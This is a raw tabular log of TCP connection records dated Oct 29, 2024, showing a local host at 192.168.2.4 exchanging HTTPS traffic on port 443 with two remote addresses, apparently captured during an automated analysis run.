Oct 29, 2024 10:47:21.184206009 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.184214115 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.184359074 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.190365076 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.196589947 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.196633101 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.196659088 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.196669102 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.196713924 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.202125072 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.208389044 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.208419085 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.208467960 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.208478928 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.208528996 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.238393068 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.238481045 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.238538027 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.238545895 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.238558054 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.238663912 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.238670111 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.238744974 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.238784075 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.238809109 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.238815069 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.239001036 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.239639044 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.242086887 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.242119074 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.242141962 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.242149115 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.242259979 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.247524023 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.252996922 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.253024101 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.253061056 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.253072023 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.253128052 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.256280899 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.259462118 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.259532928 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.259542942 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.259550095 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.259613037 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.262763977 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.262814999 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.262922049 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.262929916 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.266005039 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.266113043 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.266120911 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.269057989 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.269138098 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.269145966 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.272187948 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.272254944 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.272262096 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.275693893 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.275758982 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.275767088 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.278285980 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.278424025 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.278430939 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.281385899 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.281447887 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.281455040 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.284514904 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.284564018 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.284571886 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.287374973 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.287431002 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.287439108 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.289079905 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.290586948 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.290631056 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.290647984 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.291542053 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.293253899 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.293301105 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.293327093 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.296246052 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.296313047 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.296319962 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.299169064 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.299216032 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.299223900 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.301973104 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.302020073 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.302026987 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.304819107 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.304867983 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.304874897 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.307647943 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.307693958 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.307699919 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.310625076 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.310668945 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.310676098 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.313282967 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.313334942 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.313340902 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.316087961 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.316133022 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.316139936 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.318829060 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.318878889 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.318885088 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.321449041 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.321476936 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.321505070 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.321512938 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.321553946 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.324280977 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.326896906 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.326925993 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.326935053 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.326941967 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.326992035 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.329565048 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.332370996 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.332393885 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.332412958 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.332422018 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.332470894 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.334918022 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.337528944 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.337579966 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.337585926 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.340194941 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.340229034 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.340241909 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.340250015 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.340293884 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.342787027 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.345397949 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.345421076 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.345448971 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.345455885 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.345504999 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.357531071 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.357671022 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.357700109 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.357728004 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.357736111 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.357773066 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.357779026 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.358241081 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.358282089 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.358360052 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:32.706083059 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:32.706141949 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:32.706264973 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:32.706764936 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:32.706801891 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.455719948 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.455847979 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.457905054 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.457926989 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.458318949 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.466439009 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.507370949 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.689387083 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.689419031 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.689445972 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.689522028 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.689558029 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.689630985 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.711924076 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.711947918 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.711982965 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.712035894 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.712052107 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.712099075 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.807914019 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.807967901 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.807995081 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.808012962 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.808047056 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.808058023 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.828542948 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.828588963 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.828624964 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.828634024 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.828687906 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.832230091 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.832274914 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.832326889 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.832334995 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.832348108 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.832369089 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.834144115 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.834187031 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.834218979 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.834227085 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.834256887 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.834268093 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.924242973 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.924290895 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.924345970 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.924407959 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.924444914 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.926136017 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.945538044 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.945583105 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.945621967 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.945631027 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.945660114 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.945669889 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.946708918 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.946749926 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.946767092 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.946775913 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.946800947 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.946809053 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.948632956 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.948681116 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.948723078 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.948741913 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.948765993 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.949523926 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.949549913 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.949582100 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.949603081 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.949649096 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.949666977 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.950530052 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.950550079 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.950582981 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.950603008 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.950628996 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.953722000 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.953757048 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.953793049 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.953813076 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:33.953835964 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:33.958137989 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:34.041274071 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:34.041358948 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:34.041369915 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:34.041469097 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:34.041517973 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:34.120372057 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:34.124078989 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:34.124078989 CET	49790	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:34.124109983 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:34.124136925 CET	443	49790	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:34.698128939 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:34.698215961 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:34.698301077 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:34.729561090 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:34.729638100 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:34.729649067 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:34.729727983 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:34.729749918 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:34.729820013 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:34.731236935 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:34.731288910 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:34.731348038 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:34.731395006 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:34.734705925 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:34.734743118 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:34.746923923 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:34.746953011 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:34.747054100 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:34.747426033 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:34.747451067 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:34.748327017 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:34.748354912 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:34.748491049 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:34.748758078 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:34.748785019 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.462735891 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.463195086 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.463273048 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.463670015 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.463686943 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.465573072 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.465966940 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.466043949 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.466403008 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.466418982 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.470935106 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.471374035 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.471436024 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.472043037 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.472059011 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.476162910 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.476581097 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.476612091 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.476963043 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.476972103 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.480978966 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.481378078 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.481414080 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.481735945 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.481748104 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.592236996 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.592353106 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.593161106 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.595767021 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.595793962 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.595856905 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.595897913 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.595956087 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.595971107 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.595994949 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.596244097 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.599863052 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.599922895 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.599975109 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.599989891 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.600066900 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.600286961 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.605635881 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.605652094 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.605726957 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.605739117 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.605778933 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.606286049 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.606321096 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.606364965 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.607880116 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.608021021 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.608072996 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.636771917 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.636796951 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.636837006 CET	49791	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.636843920 CET	443	49791	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.638300896 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.638300896 CET	49792	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.638333082 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.638358116 CET	443	49792	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.638531923 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.638531923 CET	49794	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.638545990 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.638566971 CET	443	49794	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.822026968 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.822026968 CET	49795	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.822154045 CET	443	49795	13.107.246.45	192.168.2.4
